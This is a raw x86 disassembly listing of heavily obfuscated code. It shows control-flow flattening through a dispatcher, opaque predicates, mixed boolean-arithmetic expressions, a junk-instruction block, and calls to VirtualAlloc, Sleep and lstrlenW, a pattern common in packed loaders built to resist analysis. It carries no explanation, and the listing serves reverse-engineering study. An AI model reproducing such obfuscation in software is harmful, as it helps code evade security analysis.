and ecx, 0xc6bbbcf8
and esi, 0x39444307
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x73b0d1ef
mov ecx, eax
not ecx
and eax, 0xbccddd6a
and ecx, 0x43322295
or eax, ecx
mov ecx, eax
xor ecx, 0xb0048168
xor eax, 0x41202091
and eax, 0x4de97c93
and ecx, 0xb216836c
or ecx, eax
mov eax, ecx
xor eax, 0x49e06c11
xor ecx, 0xb216836c
mov edx, ecx
and edx, 0x941f92ce
and eax, 0x6be06d31
or eax, edx
xor eax, 0x6be06d31
or eax, ecx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x508180], 0xa
setge cl
setl al
mov edx, ecx
and ch, al
xor al, ah
xor dl, ah
and dl, cl
and cl, ah
mov ah, dl
xor dl, al
xor al, 1
or cl, ch
xor ah, 1
xor cl, 1
or al, ah
mov ebx, ecx
xor al, 1
or al, dl
or bl, al
xor cl, al
mov eax, 0x5d696939
mov ch, bl
xor ch, cl
test cl, 1
cmovne eax, esi
test bl, 1
cmovne eax, edi
test ch, 1
cmove eax, esi
jmp 0x401100
mov eax, dword [ebp - 0x48]
mov eax, 0x9f33c3df
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, edx
or edx, 0x869c8eda
and esi, 0x869c8eda
mov ecx, edx
not ecx
and edx, 0x79637124
or ecx, esi
mov esi, 0xd68846be
and ecx, 0x869c8edb
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp dword [0x508180], 0xa
setl dl
setge al
xor dl, cl
xor dl, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov ch, cl
xor ch, al
test al, al
mov eax, 0xc2d0627c
cmovne eax, esi
test cl, cl
not ch
cmovne eax, esi
test ch, 1
mov ecx, 0xc2d0627c
cmove eax, ecx
jmp 0x401100
mov eax, 0x999cbbc6
jmp 0x401100
mov eax, dword [0x508184]
mov esi, 0x6b7173a8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0x3909cf23
and eax, 0xc6f630dc
or eax, ecx
xor eax, 0xc6f630dd
or eax, edx
cmp eax, 0xffffffff
setne dl
cmp dword [0x508180], 0xa
setl ah
setge al
mov cl, ah
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
or dl, ah
xor dl, 1
and al, ah
xor cl, 1
or al, dl
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2bfee2e8
cmovne eax, esi
test dl, dl
mov edx, 0x2bfee2e8
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov ecx, dword [0x508184]
mov edi, 0x2dc7f4be
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0xa49ae49b
mov esi, edx
and esi, 0xfffffffe
and edx, 0x5b651b64
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x43a181ab
mov esi, edx
and esi, 0xbc5e7e54
or ecx, esi
mov esi, eax
xor esi, 0x80808b
xor eax, 0x18441a44
and eax, 0xbc5e7e54
and esi, 0x43a181ab
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x72cc3ac5
sete cl
setne dl
cmp dword [0x508180], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x2dc7f4be
cmovne eax, esi
test cl, cl
cmovne eax, edi
jmp 0x4092e2
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, 0x2f33e935
jmp 0x401100
cmp byte [ebp - 0x87], 0
mov eax, 0x332685e3
mov ecx, 0xbd810013
cmovne eax, ecx
jmp 0x401100
mov eax, 0x6f87859c
jmp 0x401100
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, ecx
xor edx, 0x317b019
mov eax, ecx
and eax, 0xbfbfd715
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x404028ea
mov ebx, edx
not ebx
and edx, 0x396952ac
or eax, esi
mov esi, eax
xor eax, 0x2008
xor esi, 0x1011000
or eax, 0xfce84fe6
and esi, 0x1011008
mov edi, eax
or eax, ebx
and edi, 0xc696ad53
and ebx, 0xc696ad53
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
and eax, 0x9807e1a0
and edx, 0x67f81e5f
or eax, edx
mov edx, eax
xor edx, 0x1a105128
xor eax, 0x290e44
and eax, 0xa1290ed5
and edx, 0x5ed6f12a
or edx, eax
xor edx, 0x5ed6f12a
or edx, ecx
mov eax, edx
not eax
and edx, 0xe3186097
and eax, 0x1ce79f68
or edx, eax
mov eax, 0xd8174516
cmp edx, 0xe3186097
setne byte [ebp - 0x84]
jmp 0x401100
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
inc eax
mov dword [ecx], eax
mov eax, 0x28ddfbd3
jmp 0x401100
mov dword [ebp - 0x28], 0x10
mov eax, 0x1c9050f6
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x10068c9e
mov esi, ecx
mov edi, ecx
or esi, 0x4a012000
and edx, 0x5a07ac9e
and edi, 0x1e01161
and ecx, 0x6f5b21f4
or edi, edx
mov edx, eax
and esi, 0x5a07ac9e
and edx, 0xa4184200
and eax, 0x90a4de0b
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x90a4de0b
mov esi, edx
not esi
and edx, 0x534d4fdb
and esi, 0xacb2b024
or edx, esi
mov esi, edx
xor esi, 0x18ac2e18
xor edx, 0xa6130004
and edx, 0xa61350a7
and esi, 0x59ecaf58
or esi, edx
xor esi, 0x59ecaf58
or eax, esi
mov esi, 0x9cb44498
mov ecx, eax
not ecx
and eax, 0x7fedda13
and ecx, 0x801225ec
or eax, ecx
xor eax, 0x7fedda13
setne ah
sete dl
cmp dword [0x508180], 0xa
mov cl, ah
setge al
setl ch
xor cl, ch
and ah, ch
or ch, dl
and al, dl
xor ch, 1
or al, ah
mov edx, ecx
or al, ch
xor dl, al
or al, cl
mov ecx, 0x9cb44498
mov ah, dl
xor ah, al
test dl, dl
mov edx, 0x4f986944
cmovne ecx, edx
test al, al
cmovne ecx, esi
test ah, ah
jmp 0x40d023
mov eax, dword [ebp - 0xf0]
add eax, 2
mov dword [ebp - 0x168], eax
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0xbda8573
and esi, 0xf4257a8c
or esi, ecx
mov edx, esi
mov ecx, esi
xor esi, 0x7aa01516
xor ecx, 0xf4257a8c
xor edx, 0xbda8573
mov edi, esi
and edi, ecx
and esi, edx
and edx, 0xa563fd94
and ecx, 0x5a9c026a
mov eax, edi
not eax
and edi, 0x641f793b
or ecx, edx
mov ebx, eax
and ebx, 0x9be086c4
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x641f793b
or eax, ebx
and ebx, 0x9be086c4
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x7dc0858
and esi, 0xf823f7a7
or eax, esi
mov esi, eax
xor esi, 0x70061830
xor eax, 0x895967c3
mov edx, eax
and edx, 0x6a8828d
and esi, 0xf9577d72
or esi, edx
mov edx, ecx
xor edx, 0x58140062
xor ecx, 0xa563fd95
or eax, ecx
and ecx, 0x6a8828d
and edx, 0xf9577d72
or edx, ecx
not eax
xor edx, esi
mov esi, 0x10a13a4a
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xda901499
and eax, 0x2569e346
and ecx, 0x60820
or edx, ecx
xor edx, 0xda901499
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5570f153
and ecx, 0xaa8f0eac
or eax, ecx
xor eax, 0x8fe6edea
sete al
setne dl
cmp dword [0x508180], 0xa
setl ah
setge cl
and al, cl
and ah, dl
or cl, dl
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov ah, dl
xor dl, 1
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x93c8abc2
cmovne esi, eax
test cl, cl
mov eax, 0x10a13a4a
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x401100
mov eax, 0x477c6f4d
jmp 0x401100
mov eax, dword [ebp - 0x2c]
mov eax, 0xb395f296
jmp 0x401100
cmp byte [ebp - 0x7b], 0
mov eax, 0x32cd4d41
mov ecx, 0xa00a1889
cmovne eax, ecx
jmp 0x401100
mov dword [ebp - 0x28], 0xa
mov eax, 0x8d2fac3c
jmp 0x401100
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x160], eax
mov eax, 0x5ff5fbb3
jmp 0x401100
mov eax, 0x23f51c81
jmp 0x401100
mov eax, 0x92a645f8
jmp 0x401100
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x198]
mov dword [eax], ecx
mov eax, 0x127cce71
jmp 0x401100
mov ecx, dword [0x508184]
mov edi, 0xd7ffa2da
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x88488a99
and eax, 0x61301120
mov edx, ecx
and edx, 0x4800046
or ecx, 0xc800848
or esi, edx
and ecx, 0x1e876c48
mov edx, esi
xor edx, 0x80488291
xor esi, 0x16876440
or eax, ecx
and esi, 0x1e876c48
and edx, 0x80488297
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x8cc88adf
and ecx, 0x73377520
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xff970f4c
and eax, 0x68f0b3
or eax, edx
mov edx, ecx
not edx
and ecx, 0x1deefed8
mov esi, edx
and esi, 0xe2110127
or ecx, esi
mov esi, eax
xor esi, 0x68f090
xor eax, 0xff970f4d
or edx, eax
and eax, 0xe2110127
and esi, 0x1deefed8
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x550ddf89
xor edx, 0xffffffff
setne cl
sete ah
cmp dword [0x508180], 0xa
mov edx, ecx
setl ch
setge al
or cl, ch
and dl, al
and ch, ah
or ch, dl
xor cl, 1
mov dl, ch
xor dl, al
or al, ah
xor al, 1
and dl, ch
or al, cl
mov ecx, edx
mov ah, al
xor cl, 1
xor ah, 1
and al, cl
or cl, ah
and ah, dl
or ah, al
mov edx, ecx
xor dl, ah
test ah, ah
mov eax, 0xd7ffa2da
cmovne eax, esi
test cl, cl
cmovne eax, edi
jmp 0x40b8a8
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x1c84f573
mov eax, ecx
or eax, 0xe37b0a8c
and edx, ecx
not ecx
mov edi, eax
and edi, 0x947a24f1
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x884d102
and edx, 0x6b85db0e
or eax, ebx
and ebx, 0x947a24f1
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xcb17fa94
or eax, edx
mov edx, eax
not edx
and eax, 0xa003b7ae
and edx, 0x5ffc4851
or eax, edx
mov edx, eax
xor edx, 0x288642c0
xor eax, 0x4058bc02
and eax, 0xd459bc1e
and edx, 0x2ba643e1
or edx, eax
xor edx, 0x2ba643e1
or edx, ecx
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x508180], 0xa
setl cl
setge al
and cl, dl
mov dl, ah
and dl, al
or cl, dl
xor cl, 1
or cl, al
xor al, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x402202c5
cmovne eax, esi
test dl, dl
mov edx, 0x402202c5
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x154], eax
mov eax, 0xd3b362b5
jmp 0x401100
cmp byte [ebp - 0x7d], 0
mov eax, 0xac083379
mov ecx, 0xebd75d7e
cmovne eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov eax, 0xd5cc55e
jmp 0x401100
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0x9127c422
jmp 0x401100
mov eax, 0x7bbb1c6d
jmp 0x401100
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x20]
add eax, 0x80
mov dword [ebp - 0x170], eax
mov eax, 0x9357a136
jmp 0x401100
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, 0xc5f97318
jmp 0x401100
cmp byte [ebp - 0x7e], 0
mov eax, 0xb40bc560
mov ecx, 0x195a4304
cmovne eax, ecx
jmp 0x401100
mov eax, 0x4525511e
jmp 0x401100
push 4
push 0x3000
push dword [ebp - 0xc8]
push dword [ebp - 0x10c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
mov eax, 0x5c898b96
jmp 0x401100
mov eax, 0xecfe2be3
mov dword [ebp - 0x28], 2
jmp 0x401100
mov ecx, dword [0x508184]
mov edi, 0x6f87859c
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc09b2c72
mov esi, edx
and esi, 0x3f64d38d
and edx, 0x57e9dd80
or ecx, esi
mov esi, ecx
xor esi, 0x1a0822
xor ecx, 0x1a204180
and ecx, 0xdaa165d0
and esi, 0x255e9a2e
or esi, ecx
mov ecx, eax
or ecx, 0xdaa165d0
and eax, 0xa816227f
and ecx, 0xdaa165d1
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x823d97be
mov esi, edx
and esi, 0x7dc26841
or ecx, esi
mov esi, eax
xor esi, 0x8014023e
xor eax, 0x55c04800
and eax, 0x7dc26841
and esi, 0x823d97be
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xda5cb694
sete dl
setne al
cmp dword [0x508180], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x6f87859c
cmovne edx, esi
test cl, 1
jmp 0x40c1cb
mov eax, 0x456150ca
mov dword [ebp - 0x28], 7
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x20aaec80
and eax, ecx
not ecx
and ecx, 0x20aaec80
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x32664e31
and ecx, 0xcd99b1ce
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xed335d4e
xor ecx, 0x12cca2b1
xor edx, 0x12cca2b0
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x727ca503
mov esi, eax
and esi, 0x8d835afc
or edx, esi
mov esi, ecx
not esi
and ecx, 0x727ca503
or eax, esi
and esi, 0x8d835afc
or ecx, esi
not eax
mov esi, 0xb36b6a2b
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcf0f474a
and ecx, 0x30f0b8b5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb0873ae0
and ecx, 0x4f78c51f
or eax, ecx
mov ecx, eax
xor ecx, 0x80518240
xor eax, 0x64885ca2
and eax, 0x64ae5cb7
and ecx, 0x9b51a348
or ecx, eax
mov eax, ecx
xor eax, 0x9a100248
xor ecx, 0x400c1482
and ecx, 0x414db582
and eax, 0xbeb24a7d
or eax, ecx
xor eax, 0xbeb24a7d
sete ch
setne ah
cmp dword [0x508180], 0xa
mov dh, ch
setge cl
setl dl
mov al, cl
or dh, cl
and ah, dl
or dl, ch
xor al, ch
xor dh, 1
not al
and al, cl
and cl, ch
or cl, ah
or al, dh
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0xf9fee754
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xf9fee754
jmp 0x40c58a
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
not eax
or ecx, 0x599bfd5e
mov edi, eax
mov esi, ecx
and esi, 0x3a602cf5
and edi, 0x84040200
and eax, 0x898bef2b
or edi, esi
mov esi, edx
xor esi, 0xa66402a1
and esi, edx
and edx, 0x767410d4
mov ebx, esi
not ebx
and esi, 0xc59fd30a
or eax, edx
or ecx, ebx
and ebx, 0x3a602cf5
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x7adb92d5
and esi, 0x85246d2a
or ecx, esi
mov esi, ecx
xor esi, 0x888b8021
xor ecx, 0x23406f8a
mov edi, ecx
and edi, 0x767410d4
and esi, 0x898bef2b
or esi, edi
mov edi, 0xf875a1d0
xor eax, esi
mov esi, 0x2dc7f4be
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x508180], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
jmp 0x40c26c
mov eax, 0x6f7fafac
jmp 0x401100
mov eax, dword [ebp - 0xec]
mov ecx, dword [0x508184]
cmp eax, dword [ebp - 0x118]
lea eax, [ecx + 1]
setl byte [ebp - 0x7e]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x1d72155d
mov edi, edx
mov esi, ecx
and esi, 0xb188c589
and edi, 0x42052a22
and edx, 0xb8a2b3fd
or edi, esi
mov esi, eax
xor esi, 0xe28deaa2
and esi, eax
and eax, 0x475d4c02
mov ebx, esi
not ebx
and esi, 0x4e773a76
or eax, edx
or ecx, ebx
and ebx, 0xb188c589
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
not esi
and esi, 0x1d72155c
and ecx, 0xe28deaa3
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x759f5e03
mov esi, edx
and esi, 0x8a60a1fc
or ecx, esi
mov esi, eax
xor esi, 0x451d4c02
xor eax, 0x8820a1fc
and eax, 0x8a60a1fc
and esi, 0x759f5e03
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x62600dd9
setne dl
sete al
cmp dword [0x508180], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x49df3ffc
cmovne eax, esi
test dl, dl
mov edx, 0x49df3ffc
jmp 0x40de7c
cmp byte [ebp - 0x79], 0
mov eax, 0x3341bb5c
mov ecx, 0xc175a61c
cmovne eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0xc4]
mov eax, 0x1dfe92cc
jmp 0x401100
cmp byte [ebp - 0x85], 0
mov eax, 0x28d0a49c
mov ecx, 0x2e3b3332
cmovne eax, ecx
jmp 0x401100
cmp dword [ebp - 0x158], 0
mov eax, 0x9b71dcd4
setne byte [ebp - 0x7f]
jmp 0x401100
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 8]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 0xc]
mov dword [ebp - 0x1b8], eax
mov eax, 0x7a4eb009
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x3c08c342
mov edx, ecx
and edx, 0x83061000
and ecx, 0x40f12cbd
or eax, edx
xor eax, 0x3c08c342
or ecx, eax
mov esi, ecx
xor esi, 0x7b713cf
andn edi, ecx, esi
and esi, ecx
mov eax, edi
not eax
and edi, 0xe8afc15c
mov edx, eax
and edx, 0x17503ea3
or edi, edx
mov edx, esi
not edx
and esi, 0xe8afc15c
or eax, edx
and edx, 0x17503ea3
or esi, edx
not eax
mov edx, ecx
not edx
and ecx, 0x163c4227
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x7cfe1237
and esi, 0x8301edc8
or eax, esi
mov esi, edx
and esi, 0xe9c3bdd8
and edx, 1
or esi, ecx
mov edi, eax
xor edi, 0xa080108
xor eax, 0x84b6fe06
mov ecx, esi
xor ecx, 0x163c4226
xor esi, 0x8829508
and edi, 0xa8e950e
or edx, ecx
mov ecx, eax
and ecx, 0xf5716af1
and esi, 0xa8e950e
or eax, edx
and edx, 0xf5716af1
or edi, ecx
or esi, edx
not eax
xor esi, edi
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x1ad13010
and eax, 0x41080601
mov edx, ecx
or edx, 0x20260168
and esi, 0x3af73178
and ecx, 0x8400c886
and edx, 0x3af73178
or ecx, esi
mov esi, 0x1f890249
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa426c9ee
and ecx, 0x5bd93611
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xaccfb36b
mov edx, ecx
and edx, 0x53304c94
or eax, edx
xor eax, 0xaccfb36b
or eax, ecx
xor eax, 0xffffffff
setne cl
sete al
cmp dword [0x508180], 0xa
setl dl
xor cl, dl
or al, dl
mov ah, cl
xor al, 1
xor ah, 1
or al, ah
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ch, dl
or dl, al
xor ch, al
xor dl, 1
or al, cl
or dl, ch
mov ch, dl
and dl, cl
mov cl, al
xor ch, 1
and ch, ah
or dl, ch
xor cl, dl
mov ecx, 0x5d0e28d8
cmovne ecx, esi
test al, al
mov eax, 0x5d0e28d8
jmp 0x4010ec
mov eax, 0xb63806df
jmp 0x401100
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x58]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x30]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x6e1e9529
jmp 0x401100
mov eax, 0x2fe42985
jmp 0x401100
not esi
imul ebx
not edi
rol edx, 0xf8
bswap edi
bswap edx
bswap esi
and eax, 0x40
imul edi
imul esi
rcl esi, 0x8f
rcl eax, 0x9a
sbb esi, 0x7d
neg edx
imul esi
neg eax
add esi, 0x76
rcl edi, 0xf3
not eax
inc esi
inc ebx
ror edx, 0xa8
dec eax
rcr eax, 0xec
inc esi
ror edi, 0x6c
inc ebx
rol edi, 0xf
inc edi
and eax, 0x8a
or edi, 0x12
and ebx, 0xd8
bswap edx
bswap edx
bswap edx
bswap edi
sub eax, 0x88
bswap eax
or esi, 0xba
not ebx
not ebx
sub esi, 0x5a
not eax
rcl esi, 0x6b
inc edx
neg ebx
neg edi
rcr eax, 0x7e
ror ebx, 0x89
bswap esi
dec edx
and esi, 0xbf
imul edx
dec edx
not ebx
neg ebx
sbb ebx, 0x50
rcl ebx, 0xc4
bswap esi
bswap edi
add edi, 0xa9
bswap edx
neg eax
rcl edi, 0x99
and ebx, 0x1b
rol eax, 0xd6
bswap eax
or edi, 0xfd
or eax, 0x9d
not eax
rcl ebx, 0xf0
inc ebx
sbb edx, 0x7a
imul eax
sbb edx, 0x9d
ror ebx, 0xf1
bswap eax
rol esi, 0xe9
bswap ebx
add edx, 0x21
dec ebx
sub ebx, 0xd2
sub edi, 0x7c
rcl ebx, 0x23
rol ebx, 0x75
neg eax
mov ebx, 0xb6
or esi, 0x18
rol ebx, 0x41
inc edi
and esi, 0x46
neg eax
and ebx, 0xf6
and edx, 0xbb
sub edi, 8
sub eax, 0x98
mov ebx, 0x32
inc eax
bswap ebx
inc ebx
inc edx
mov ebx, 0xb2
rcl eax, 0x69
dec ebx
not edx
not edx
sub edi, 0x66
inc eax
rcl edi, 0xca
and eax, 0xac
bswap ebx
inc edi
imul eax
imul edi
bswap ebx
not edi
bswap eax
imul edx
not edi
sbb esi, 0x98
not eax
neg eax
rol ebx, 0x2e
inc eax
sbb ebx, 0xd8
dec edx
not edx
not ebx
sbb eax, 0xd4
add eax, 0x96
mov edx, 0xf7
neg edi
bswap eax
imul ebx
inc ebx
add edi, 0xc0
sbb ebx, 0x45
and edi, 0x33
rol ebx, 0xbb
bswap esi
add ebx, 9
sbb esi, 0xd1
or edx, 0x51
rcr eax, 0x44
rcr eax, 0x61
sbb edi, 0x91
sbb esi, 0xf7
not eax
dec edi
sbb eax, 0x91
mov dword [ebp - 0x34], eax
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x4729c577
mov edx, ecx
not edx
and eax, ecx
or ecx, 0xb8d63a88
and edx, 0x6000016
mov esi, ecx
and esi, 0x41a9f5e9
or edx, esi
mov esi, eax
not esi
and eax, 0xbe560a16
or ecx, esi
and esi, 0x41a9f5e9
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x30de2845
and eax, 0xcf21d7ba
or ecx, eax
mov esi, ecx
mov eax, ecx
xor esi, 0x77f7ed32
xor eax, 0x880812cd
xor ecx, 0xe14e61d1
mov edx, esi
and ecx, eax
and edx, 0x6946731c
and esi, 0xcdf7f371
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x8772851f
and ecx, 0x788d7ae0
or edx, ecx
mov ecx, eax
and ecx, 0x32080c8e
and eax, 1
or ecx, esi
xor edx, 0x11cb09fd
mov esi, 0x6b7173a8
xor ecx, 0xcdf7f370
or eax, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xe386d740
and ecx, eax
not eax
and eax, 0xe386d740
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa11d8a97
and eax, 0x5ee27568
or ecx, eax
mov eax, ecx
xor eax, 0x40135506
xor ecx, 0xbd64a228
mov edx, ecx
and edx, 0xbea888f9
and eax, 0x41577706
or eax, edx
xor eax, 0xbea888f9
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x508180], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
and dl, ch
or ch, ah
and al, ah
xor ch, 1
or al, dl
or cl, ah
xor dh, 1
or al, ch
xor cl, 1
mov dl, al
or cl, dh
xor dl, 1
mov ah, dl
or dl, cl
and ah, al
xor dl, 1
xor ah, 1
mov ch, ah
or ah, al
xor ch, al
xor ah, 1
or ah, ch
mov ch, ah
xor ah, 1
and ah, cl
xor cl, 1
and ch, cl
xor cl, al
or dl, cl
or ah, ch
mov ecx, 0x56aa298f
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x56aa298f
jmp 0x40be30
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x48212020
and eax, 0x31145e05
mov edx, ecx
or edx, 0x80488088
and esi, 0xc869a0a8
and ecx, 0x6820152
and edx, 0xc869a0a8
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x2a8e2c36
and ecx, 0xd571d3c9
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x105211
xor ecx, 0xac44adec
xor eax, 0x3a8eef1e
mov esi, ecx
and edx, 0xa054fa11
and esi, 0x5fab05ee
and eax, ecx
or esi, edx
mov edx, esi
xor edx, 0x5fab05ee
xor esi, 0xa004e010
mov ecx, edx
and ecx, 0x96ca42f2
and esi, 0xe4a7e072
or ecx, eax
not eax
and eax, 0x6935bd0c
and ecx, 0x96ca42f3
or ecx, eax
mov eax, edx
and eax, 0x1b581f8d
and edx, 1
or eax, esi
mov esi, ecx
not esi
and ecx, 0x4b983db1
xor eax, 0xe4a7e073
or edx, eax
mov eax, esi
and eax, 0xb467c24e
or ecx, eax
mov eax, edx
not eax
or esi, edx
and edx, 0xb467c24e
and eax, 0x4b983db1
not esi
or eax, edx
